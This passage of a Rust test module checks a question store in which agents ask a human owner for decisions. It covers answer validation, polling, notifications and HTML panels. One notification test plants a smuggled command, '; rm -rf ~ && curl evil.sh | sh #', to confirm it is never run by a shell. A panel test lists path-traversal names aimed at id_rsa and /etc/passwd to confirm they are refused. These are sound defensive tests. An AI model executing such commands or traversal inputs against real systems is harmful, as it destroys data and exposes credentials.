        assert_eq!(open["id"], "20260902-231501-ab12");
        assert_eq!(open["run"], "20260902-201256-9fb7");
        assert_eq!(open["node"], "implement");
        assert_eq!(open["seat"], "impl-A");
        assert_eq!(open["status"], "open");
        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
        assert_eq!(open["answered_at"], serde_json::Value::Null);
        assert_eq!(open["answer"], serde_json::Value::Null);
        let asked = open["asked_at"].as_str().unwrap();
        assert!(
            asked.ends_with('Z') && asked.contains('T'),
            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
        );

        // A chosen option, exactly as the contract spells it.
        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
        let answered = serde_json::to_value(&q).unwrap();
        assert_eq!(answered["status"], "answered");
        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
        assert!(answered["answered_at"].is_string());

        // And free text, which is the other of the two forms.
        let mut free = free_question();
        free.answer(Answer::Text("Say which file it was".to_owned()))
            .unwrap();
        assert_eq!(
            serde_json::to_value(&free).unwrap()["answer"],
            serde_json::json!({"text": "Say which file it was"})
        );

        // And it survives the round trip a reader actually performs.
        let body = serde_json::to_string(&q).unwrap();
        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
    }

    #[test]
    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
        // Four different mistakes, four different fixes: the web handler shows
        // these strings to the person who made them.
        let mut unoffered = choice_question();
        let a = unoffered
            .answer(Answer::Choice("Postgres".to_owned()))
            .unwrap_err()
            .to_string();

        let mut typed = choice_question();
        let b = typed
            .answer(Answer::Text("use Postgres".to_owned()))
            .unwrap_err()
            .to_string();

        let mut blank = free_question();
        let c = blank
            .answer(Answer::Text("   \n".to_owned()))
            .unwrap_err()
            .to_string();

        let mut twice = choice_question();
        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
        let d = twice
            .answer(Answer::Choice("Redis".to_owned()))
            .unwrap_err()
            .to_string();

        assert!(a.contains("not one of the choices"), "{a}");
        assert!(b.contains("multiple choice"), "{b}");
        assert!(c.contains("empty"), "{c}");
        assert!(d.contains("already answered"), "{d}");
        let mut distinct = vec![a, b, c, d];
        let asked = distinct.len();
        distinct.sort_unstable();
        distinct.dedup();
        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");

        // The refused ones are still open, so the owner can answer properly.
        assert_eq!(unoffered.status, QuestionStatus::Open);
        assert_eq!(typed.status, QuestionStatus::Open);
        assert_eq!(blank.status, QuestionStatus::Open);
        // And the first answer to the double-answered one survived.
        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));

        // Free text refuses a fabricated choice for the mirror-image reason.
        let mut free = free_question();
        let e = free
            .answer(Answer::Choice("SQLite".to_owned()))
            .unwrap_err()
            .to_string();
        assert!(e.contains("free text"), "{e}");
    }

    #[test]
    fn open_questions_are_listed_before_answered_ones() {
        let (_dir, s) = store();
        // Ids carry a timestamp, so force a known order: the answered one is
        // the newest, and must still sort below the open ones.
        let mut old_open = choice_question();
        old_open.id = "20260101-000001-aaaa".to_owned();
        let mut new_open = choice_question();
        new_open.id = "20260101-000002-bbbb".to_owned();
        let mut answered = choice_question();
        answered.id = "20260101-000003-cccc".to_owned();
        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
        for q in [&mut old_open, &mut new_open, &mut answered] {
            s.put(q).unwrap();
        }

        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
        assert_eq!(
            ids,
            [
                "20260101-000002-bbbb",
                "20260101-000001-aaaa",
                "20260101-000003-cccc"
            ],
            "what has stopped work comes first; history sorts underneath"
        );
        assert_eq!(s.count_open(), 2);
        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
        assert!(s.open_for("some-other-run").is_empty());
        // The short id is what the phone and the reports show.
        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
        assert!(s.get("20260101-000002-bbbb").is_ok());
        assert!(s.resolve_id("nope").is_err());
        assert!(
            s.revision() > 0,
            "the store's mtime drives the phone's polling"
        );
    }

    #[test]
    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
        let (_dir, s) = store();
        let mut good = choice_question();
        s.put(&mut good).unwrap();
        // Truncated by a killed writer, and written by a magi from the future.
        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
        let future = serde_json::json!({
            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
            "seat": "s", "summary": "?", "detail": "", "choices": [],
            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
            "answered_at": null, "answer": null,
        });
        std::fs::write(
            s.path_of("20260101-000010-beef"),
            serde_json::to_string(&future).unwrap(),
        )
        .unwrap();

        let listed = s.list();
        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
        assert_eq!(listed[0].id, good.id);
        // Asked for by name, the unreadable one explains itself instead.
        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
        assert!(e.contains("schema"), "{e}");
    }

    #[tokio::test]
    async fn the_wait_returns_the_answer_another_process_wrote() {
        // The phone, `magi answer` and this run are three processes with no
        // channel between them: the file is the channel, so the wait has to see
        // a write it did not make. Sub-second timings keep this a real wait
        // without a real one's duration.
        let (dir, s) = store();
        let mut q = choice_question();
        let id = q.id.clone();
        let writer = Questions::at(dir.path().join("questions"));
        let handle = tokio::spawn(async move {
            tokio::time::sleep(Duration::from_millis(30)).await;
            let mut fresh = writer.get(&id).expect("the question was filed first");
            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
            writer.put(&mut fresh).unwrap();
        });

        let got = wait_for_owner(
            &mut q,
            &s,
            &quiet(),
            Duration::from_secs(5),
            Duration::from_millis(10),
        )
        .await
        .unwrap();

        handle.await.unwrap();
        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
        assert_eq!(
            q.status,
            QuestionStatus::Answered,
            "the caller's copy is refreshed from the answering process's record"
        );
        assert!(q.answered_at.is_some());
    }

    #[tokio::test]
    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
        let (_dir, s) = store();
        let mut q = choice_question();

        let got = wait_for_owner(
            &mut q,
            &s,
            &quiet(),
            Duration::from_millis(60),
            Duration::from_millis(10),
        )
        .await
        .unwrap();

        assert_eq!(
            got,
            Wait::Abandoned,
            "a slow human is not an error; the run parks"
        );
        assert_eq!(q.status, QuestionStatus::Abandoned);
        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
        assert!(
            on_disk.detail.contains("Abandoned:"),
            "why nobody answered belongs with the question: {}",
            on_disk.detail
        );
        assert!(on_disk.resolution().is_none());
        assert_eq!(s.count_open(), 0);
    }

    #[tokio::test]
    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
        // This is the whole point of slicing: `timeout` (the real
        // `answer_timeout` budget) is far larger than `slice`, so the loop
        // must land on `slice` first and hand back `Pending` - not read the
        // silence so far as the owner having given up.
        let (_dir, s) = store();
        let mut q = choice_question();
        s.put(&mut q).unwrap();

        let got = wait_loop(
            &mut q,
            &s,
            Duration::from_secs(3600),
            Duration::from_millis(30),
            Duration::from_millis(10),
        )
        .await
        .unwrap();

        assert_eq!(
            got,
            Wait::Pending,
            "the clock on this call ran out, not the owner's patience"
        );
        assert_eq!(
            q.status,
            QuestionStatus::Open,
            "a slice expiring must never abandon the question"
        );
        let on_disk = s.get(&q.id).expect("still on disk, still open");
        assert_eq!(
            on_disk.status,
            QuestionStatus::Open,
            "nothing about the record changed just because this call gave up"
        );
    }

    #[tokio::test]
    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
        // and returns `Pending`, a second slice - a fresh call, exactly as a
        // fresh process would make - picks the same question back up and
        // sees an answer written in between.
        let (dir, s) = store();
        let mut q = choice_question();
        s.put(&mut q).unwrap();

        let first = wait_loop(
            &mut q,
            &s,
            Duration::from_secs(3600),
            Duration::from_millis(30),
            Duration::from_millis(10),
        )
        .await
        .unwrap();
        assert_eq!(first, Wait::Pending);

        let id = q.id.clone();
        let writer = Questions::at(dir.path().join("questions"));
        let mut fresh = writer.get(&id).unwrap();
        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
        writer.put(&mut fresh).unwrap();

        // `resume_wait` uses its own production poll interval rather than a
        // test-injected one, so the budget here only needs to be large enough
        // to cover one real poll tick - the point is that it is `resume_wait`
        // itself, not a helper, that finds the answer.
        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
            .await
            .unwrap();
        assert_eq!(second, Wait::Answered("Redis".to_owned()));
        assert_eq!(q.status, QuestionStatus::Answered);
    }

    #[tokio::test]
    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
        // The owner can speak back while nothing is running at all - between
        // one call reporting `Wait::Pending` and the next `--wait` picking
        // the question back up - and whoever resumes the wait loads a
        // *fresh* copy of the question off disk, one whose thread already
        // contains that reply. A baseline taken from that fresh copy would
        // treat the reply as pre-existing and never notice it "arrive",
        // leaving the agent polling in silence until `answer_timeout`
        // eventually abandons the question - replacing the exact accident
        // this feature exists to fix with a quieter version of itself.
        let (dir, s) = store();
        let mut q = choice_question();
        s.put(&mut q).unwrap();

        let first = wait_loop(
            &mut q,
            &s,
            Duration::from_secs(3600),
            Duration::from_millis(30),
            Duration::from_millis(10),
        )
        .await
        .unwrap();
        assert_eq!(first, Wait::Pending);

        // The owner speaks back during the gap, with nobody running yet.
        let id = q.id.clone();
        let writer = Questions::at(dir.path().join("questions"));
        let mut fresh = writer.get(&id).unwrap();
        fresh.say("why not Postgres?").unwrap();
        writer.put(&mut fresh).unwrap();

        // `magi ask --wait` re-reads the question rather than reusing the
        // stale in-memory copy the earlier call held - so the copy handed to
        // `resume_wait` here already carries the reply, same as `fresh` above.
        let mut resumed = s.get(&id).unwrap();
        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
            .await
            .unwrap();
        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
        assert_eq!(
            resumed.status,
            QuestionStatus::Open,
            "talking back is not a decision; the question stays open"
        );
    }

    #[tokio::test]
    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
        // A broken webhook must not throw away an implementation, so the wait
        // reports the failure and carries on. `notify` itself still says what
        // went wrong, because `magi notify --test` has to be able to show it.
        let (dir, s) = store();
        let broken = config::Notify {
            command: vec![
                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
                "{summary}".to_owned(),
            ],
        };
        let mut q = choice_question();
        assert!(
            notify(&broken, &q).await.is_err(),
            "the caller is told; it decides that it does not matter"
        );

        let id = q.id.clone();
        let writer = Questions::at(dir.path().join("questions"));
        let handle = tokio::spawn(async move {
            tokio::time::sleep(Duration::from_millis(30)).await;
            let mut fresh = writer.get(&id).unwrap();
            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
            writer.put(&mut fresh).unwrap();
        });
        let got = wait_for_owner(
            &mut q,
            &s,
            &broken,
            Duration::from_secs(5),
            Duration::from_millis(10),
        )
        .await
        .unwrap();
        handle.await.unwrap();
        assert_eq!(got, Wait::Answered("Redis".to_owned()));

        // No command at all is the default, and is silence rather than failure.
        assert!(notify(&quiet(), &q).await.is_ok());
        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
    }

    #[test]
    fn notification_arguments_are_substituted_and_never_a_shell_string() {
        let mut q = choice_question();
        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
        let template = [
            "ntfy".to_owned(),
            "publish".to_owned(),
            "--click".to_owned(),
            "{url}".to_owned(),
            "--title".to_owned(),
            "magi {run} needs you".to_owned(),
            "{summary}".to_owned(),
        ];
        let argv: Vec<String> = template
            .iter()
            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
            .collect();

        assert_eq!(
            argv,
            [
                "ntfy",
                "publish",
                "--click",
                "http://100.64.0.1:7777/#/questions",
                "--title",
                "magi 20260902-201256-9fb7 needs you",
                "; rm -rf ~ && curl evil.sh | sh #",
            ],
            "the shell metacharacters are one argument's contents, not syntax"
        );

        // A summary that itself mentions a placeholder is text, not a template:
        // one left-to-right pass means a substituted value is never rescanned.
        q.summary = "should {url} be configurable?".to_owned();
        assert_eq!(
            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
            "should {url} be configurable?"
        );
        // An unknown brace is the operator's own text and survives untouched.
        assert_eq!(
            expand("{title}: {run}", &q.run, &q.summary, ""),
            "{title}: 20260902-201256-9fb7"
        );
        assert_eq!(
            expand("no placeholders", &q.run, &q.summary, "http://x"),
            "no placeholders"
        );
    }

    #[test]
    fn the_notification_link_lands_on_the_view_that_can_answer() {
        assert_eq!(
            question_url("http://100.64.0.1:7777"),
            "http://100.64.0.1:7777/#/questions"
        );
        assert_eq!(
            question_url("http://100.64.0.1:7777/"),
            "http://100.64.0.1:7777/#/questions"
        );
        // An operator who wrote a fragment has said where they want to land.
        assert_eq!(
            question_url("http://magi.ts.net/#/runs"),
            "http://magi.ts.net/#/runs"
        );
        // Unset expands to nothing rather than to a guessed address.
        assert_eq!(question_url("  "), "");
    }

    /// A question with a fixed id, so a panel's path on disk is predictable.
    fn panelled() -> Question {
        let mut q = choice_question();
        q.id = "20260903-014455-ab12".to_owned();
        q
    }

    #[test]
    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
        let (dir, s) = store();
        let work = dir.path().join("worktree");
        std::fs::create_dir_all(&work).unwrap();
        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();

        let mut q = panelled();
        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
        s.put_panel(
            &mut q,
            html,
            &[work.join("table.png"), work.join("diff.svg")],
        )
        .unwrap();
        s.put(&mut q).unwrap();

        assert!(q.panel);
        assert_eq!(
            q.assets,
            ["diff.svg", "table.png"],
            "sorted, not in the order the agent happened to pass them"
        );
        assert_eq!(
            s.panel_html(&q.id).as_deref(),
            Some(html),
            "the html is stored byte for byte; the agent authored the markup"
        );
        assert_eq!(
            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
            Some(&b"<svg/>"[..])
        );

        // The record on disk carries the same two fields the front end reads.
        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
        assert_eq!(json["panel"], true);
        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
        let back = s.get(&q.id).unwrap();
        assert!(back.panel);
        assert_eq!(back.assets, q.assets);

        // The assets were copied, so the panel still renders after `magi fold`
        // has deleted the candidate worktree the agent authored it in.
        std::fs::remove_dir_all(&work).unwrap();
        assert_eq!(
            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
            Some(&b"\x89PNG"[..]),
            "a referenced asset would be gone with the worktree"
        );
    }

    #[test]
    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
        let (dir, s) = store();
        let mut q = panelled();
        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
        s.put(&mut q).unwrap();

        // A file exactly one level up from the panel directory - which is
        // where `..` lands - holding content a read would make visible.
        let secret = "this must never reach the browser";
        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
        assert_eq!(
            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
            secret,
            "the traversal is real: the operating system resolves this path \
             happily, which is why the name has to be refused before the join"
        );

        let long = "x".repeat(200);
        for name in [
            "..",
            "../id_rsa",
            "..\\id_rsa",
            "sub/../id_rsa",
            "/",
            "\\",
            "/etc/passwd",
            "C:\\Windows\\win.ini",
            "",
            ".hidden",
            ".",
            long.as_str(),
        ] {
            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
            assert!(
                e.contains("not a panel file name"),
                "`{name}` must be refused as a name, not attempted: {e}"
            );
            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
        }
        // A name that is allowed still finds its file, so the refusals above
        // were the rule at work and not a store that reads nothing.
        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());

        // The same rule on the write side, where the name comes from a source
        // file's base name, and a refusal leaves the stored panel untouched.
        let hidden = dir.path().join(".hidden");
        std::fs::write(&hidden, "x").unwrap();
        let e = s
            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
            .unwrap_err()
            .to_string();
        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
        assert!(q.assets.is_empty());
    }

    #[test]
    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
        let (dir, s) = store();
        let mut q = panelled();
        s.put(&mut q).unwrap();

        // Sized rather than filled: the cap reads the file's length, and a
        // test that actually produced eight mebibytes would only be slower.
        let big = dir.path().join("recording.png");
        std::fs::File::create(&big)
            .unwrap()
            .set_len(PANEL_MAX_BYTES)
            .unwrap();

        let html = "<p>see the recording</p>";
        let total = PANEL_MAX_BYTES + html.len() as u64;
        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
        assert!(
            e.contains(&PANEL_MAX_BYTES.to_string()),
            "the cap is named so the agent knows the limit: {e}"
        );
        assert!(
            e.contains(&total.to_string()),
            "the actual size is named so the agent knows by how much: {e}"
        );

        assert!(!q.panel);
        assert!(q.assets.is_empty());
        let left: Vec<String> = std::fs::read_dir(s.root())
            .unwrap()
            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
            .collect();
        assert_eq!(
            left,
            [format!("{}.json", q.id)],
            "a refused panel leaves neither a directory nor scratch: {left:?}"
        );
    }

    #[test]
    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
        let (dir, s) = store();
        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
        std::fs::create_dir_all(&before).unwrap();
        std::fs::create_dir_all(&after).unwrap();
        std::fs::write(before.join("diff.png"), "before").unwrap();
        std::fs::write(after.join("diff.png"), "after").unwrap();

        let mut q = panelled();
        let e = s
            .put_panel(
                &mut q,
                "<p>x</p>",
                &[before.join("diff.png"), after.join("diff.png")],
            )
            .unwrap_err()
            .to_string();
        assert!(e.contains("diff.png"), "{e}");
        assert!(
            e.contains("before") && e.contains("after"),
            "both sources are named, because the fix is to rename one: {e}"
        );
        assert!(!q.panel);
        assert!(!s.panel_dir(&q.id).exists());
    }

    #[test]
    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
        let (dir, s) = store();
        std::fs::write(dir.path().join("old.png"), "old").unwrap();
        std::fs::write(dir.path().join("new.png"), "new").unwrap();

        let mut q = panelled();
        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
            .unwrap();
        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
            .unwrap();

        assert_eq!(q.assets, ["new.png"]);
        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
        assert!(
            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
            "an asset from the first attempt would show a mix of two answers"
        );

        s.drop_panel(&q.id).unwrap();
        assert!(s.panel_html(&q.id).is_none());
        assert!(!s.panel_dir(&q.id).exists());
        s.drop_panel(&q.id)
            .expect("dropping a panel that is already gone is the desired state");
    }

    #[test]
    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
        let (_dir, s) = store();
        let mut q = panelled();
        s.put(&mut q).unwrap();

        assert!(!q.panel);
        assert!(s.panel_html(&q.id).is_none());
        assert!(
            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
            "a missing file is a 404 for the caller, not a failure of the store"
        );
        let json = serde_json::to_value(&q).unwrap();
        assert_eq!(json["panel"], false);
        assert_eq!(json["assets"], serde_json::json!([]));

        // And an empty panel is refused, because an empty frame reads to the
        // owner as "the agent had nothing to say".
        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
        assert!(e.contains("empty panel"), "{e}");
        assert!(!s.panel_dir(&q.id).exists());
    }

    #[test]
    fn a_question_written_before_panels_existed_still_deserialises() {
        let (_dir, s) = store();
        std::fs::create_dir_all(s.root()).unwrap();
        let id = "20260902-231501-ab12";
        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
        let body = r#"{
  "schema": 1,
  "id": "20260902-231501-ab12",
  "run": "20260902-201256-9fb7",
  "node": "implement",
  "seat": "impl-A",
  "summary": "Which storage backend should the cache use?",
  "detail": "Both are already dependencies.",
  "choices": ["SQLite", "Redis"],
  "status": "open",
  "asked_at": "2026-09-02T23:15:01Z",
  "answered_at": null,
  "answer": null
}"#;
        std::fs::write(s.path_of(id), body).unwrap();

        let q = s.get(id).unwrap();
        assert!(
            !q.panel,
            "an absent field means no panel, not a parse error"
        );
        assert!(q.assets.is_empty());
        // Schema 1 predates `thread` entirely - not merely predates it having
        // any turns - and this build now speaks schema 3. Reading it must not
        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
        // accepted and the missing field defaults to no conversation yet.
        assert_eq!(q.schema, 1);
        assert!(q.thread.is_empty());
        assert_eq!(
            q.answer_timeout, 0,
            "an absent field means unrecorded, not a zero-second deadline"
        );
        assert!(!q.waiting_on_agent());
        assert_eq!(q.summary, "Which storage backend should the cache use?");
        assert_eq!(
            s.list().len(),
            1,
            "and it is still listed; skipping it would hide an open question"
        );
    }

    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
        Turn {
            who,
            body: body.to_owned(),
            at,
        }
    }

    #[test]
    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
        // The phone reads this shape by hand, same as the question itself: a
        // rename here is a card that silently drops every message in it.
        let mut q = choice_question();
        q.thread
            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
        let value = serde_json::to_value(&q.thread[0]).unwrap();
        let mut keys: Vec<&str> = value
            .as_object()
            .unwrap()
            .keys()
            .map(String::as_str)
            .collect();
        keys.sort_unstable();
        assert_eq!(keys, ["at", "body", "who"]);
        assert_eq!(value["who"], "operator");
        assert_eq!(value["body"], "why not Postgres?");

        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
        assert_eq!(parsed.who, Who::Agent);
    }

    #[test]
    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
        let mut q = Question::new(
            "task".to_owned(),
            "conduct".to_owned(),
            "conduct".to_owned(),
            "Done?".to_owned(),
            String::new(),
            vec!["yes".to_owned(), "no".to_owned()],
        );
        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
        seat.turns = 1;
        let mut dep = Deputy::new("brief".to_owned());
        dep.seat = Some(seat);
        q.deputy = Some(dep);
        q.say("setup done, go ahead").unwrap();

        assert!(
            q.settle_by_deputy("someone-else", "yes", "setup done")
                .is_err()
        );
        assert!(
            q.settle_by_deputy("deputy-x", "maybe", "setup done")
                .is_err()
        );
        assert!(
            q.settle_by_deputy("deputy-x", "yes", "never said this")
                .is_err()
        );
        assert!(q.settle_by_deputy("deputy-x", "yes", "  ").is_err());
        assert_eq!(q.status, QuestionStatus::Open);

        q.settle_by_deputy("deputy-x", "yes", "setup done").unwrap();
        assert_eq!(q.status, QuestionStatus::Answered);
        assert_eq!(q.resolution().as_deref(), Some("yes"));
        let last = q.thread.last().unwrap();
        assert_eq!(last.who, Who::Agent);
        assert!(
            last.body.contains("setup done"),
            "the quote stays on the record"
        );
    }

    #[test]
    fn a_question_written_before_deputies_still_reads() {
        let mut q = Question::new(
            "task".to_owned(),
            "conduct".to_owned(),
            "conduct".to_owned(),
            "Done?".to_owned(),
            String::new(),
            Vec::new(),
        );
        q.schema = 4;
        let mut v = serde_json::to_value(&q).unwrap();
        v.as_object_mut().unwrap().remove("deputy");
        let back: Question = serde_json::from_value(v).unwrap();
        assert!(back.deputy.is_none());
    }

    #[test]
    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
        let mut q = choice_question();
        q.say("does the cache need eviction?").unwrap();
        assert_eq!(q.thread.len(), 1);
        assert_eq!(q.thread[0].who, Who::Operator);
        assert_eq!(q.thread[0].body, "does the cache need eviction?");
        // Speaking is not deciding: the status and the answer are untouched,
        // which is the whole point of the round trip existing at all.
        assert_eq!(q.status, QuestionStatus::Open);
        assert!(q.answer.is_none());
        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
    }

    #[test]
    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
        let mut answered = choice_question();
        answered
            .answer(Answer::Choice("SQLite".to_owned()))
            .unwrap();
        let a = answered.say("still there?").unwrap_err().to_string();
        assert!(a.contains("already answered"), "{a}");
        let b = answered
            .reply("still there?", vec![])
            .unwrap_err()
            .to_string();
        assert!(b.contains("already answered"), "{b}");

        let mut abandoned = choice_question();
        abandoned.abandon("timed out");
        let c = abandoned.say("hello?").unwrap_err().to_string();
        assert!(c.contains("abandoned"), "{c}");

        let mut open = choice_question();
        let d = open.say("   ").unwrap_err().to_string();
        assert!(d.contains("empty"), "{d}");
        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
        assert!(e.contains("empty"), "{e}");
        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
    }

    #[test]
    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
        let mut q = choice_question();
        q.say("SQLite or Redis, but what about disk space?")
            .unwrap();
        assert!(q.waiting_on_agent());

        q.reply(
            "SQLite: it is one file, no server to run.",
            vec!["SQLite".to_owned()],
        )
        .unwrap();

        assert_eq!(q.choices, ["SQLite"]);
        assert!(
            !q.waiting_on_agent(),
            "the agent spoke, so the owner is the one being waited on now"
        );
        assert_eq!(q.thread.len(), 2);
        assert_eq!(q.thread[1].who, Who::Agent);

        // The new choice set is what a subsequent answer is checked against.
        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
    }

    #[test]
    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
        let mut fresh = choice_question();
        assert!(
            fresh.should_notify(Timestamp::now()),
            "nobody has been notified yet, so the first ask always pages"
        );

        fresh.say("why not Postgres?").unwrap();
        let just_said = fresh.thread[0].at;
        assert!(
            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
            "still on the screen a minute later; no need to page again"
        );
        assert!(
            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
            "exactly the window: `>` means this side stays quiet"
        );
        assert!(
            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
            "past the window: they may have walked away"
        );
    }

    #[test]
    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
        let (_dir, s) = store();
        let mut q = choice_question();
        s.put(&mut q).unwrap();
        q.say("why not Postgres?").unwrap();
        s.put(&mut q).unwrap();
        q.reply("no server to run", vec!["SQLite".to_owned()])
            .unwrap();
        s.put(&mut q).unwrap();

        assert_eq!(
            s.count_open(),
            1,
            "one question that talked twice is still one open question"
        );
        assert_eq!(s.open_for(&q.run).len(), 1);
    }

    #[tokio::test]
    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
        let (dir, s) = store();
        let mut q = choice_question();
        let id = q.id.clone();
        let writer = Questions::at(dir.path().join("questions"));
        let handle = tokio::spawn(async move {
            tokio::time::sleep(Duration::from_millis(30)).await;
            let mut fresh = writer.get(&id).expect("the question was filed first");
            fresh.say("why not Postgres?").unwrap();
            writer.put(&mut fresh).unwrap();
        });

        let got = wait_for_owner(
            &mut q,
            &s,
            &quiet(),
            Duration::from_secs(5),
            Duration::from_millis(10),
        )
        .await
        .unwrap();

        handle.await.unwrap();
        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
        assert_eq!(
            q.status,
            QuestionStatus::Open,
            "talking back is not a decision; the question stays open"
        );
        assert!(q.answer.is_none());
    }

    #[test]
    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
        let mut q = choice_question();
        q.say("A").unwrap();
        q.delivered_turns = q.thread.len();
        q.say("B").unwrap();
        q.reply("about A", vec![]).unwrap();
        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
        q.delivered_turns = q.thread.len();
        assert_eq!(q.unread_from_owner(), None);
    }

    #[test]
    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
        let ok = parse_actions(
            &[
                "resume で続行する=resume".to_owned(),
                "wait=done".to_owned(),
            ],
            &choices,
            "run-1",
        )
        .unwrap();
        assert_eq!(
            ok["resume で続行する"],
            ChoiceAction::Resume {
                run: "run-1".into()
            }
        );
        assert_eq!(ok["wait"], ChoiceAction::Done);

        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
        assert_eq!(
            ChoiceAction::parse("x=requeue", "").unwrap().1,
            ChoiceAction::Requeue
        );

        for bad in [
            "no-equals",
            "=done",
            "x=resume",
            "x=resume:",
            "x=explode",
            "x=done:1",
        ] {
            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
        }
        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
        assert!(
            parse_actions(
                &["wait=done".to_owned(), "wait=requeue".to_owned()],
                &choices,
                ""
            )
            .is_err()
        );
    }

    #[test]
    fn only_a_chosen_label_with_an_action_is_actionable() {
        let mut q = choice_question();
        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
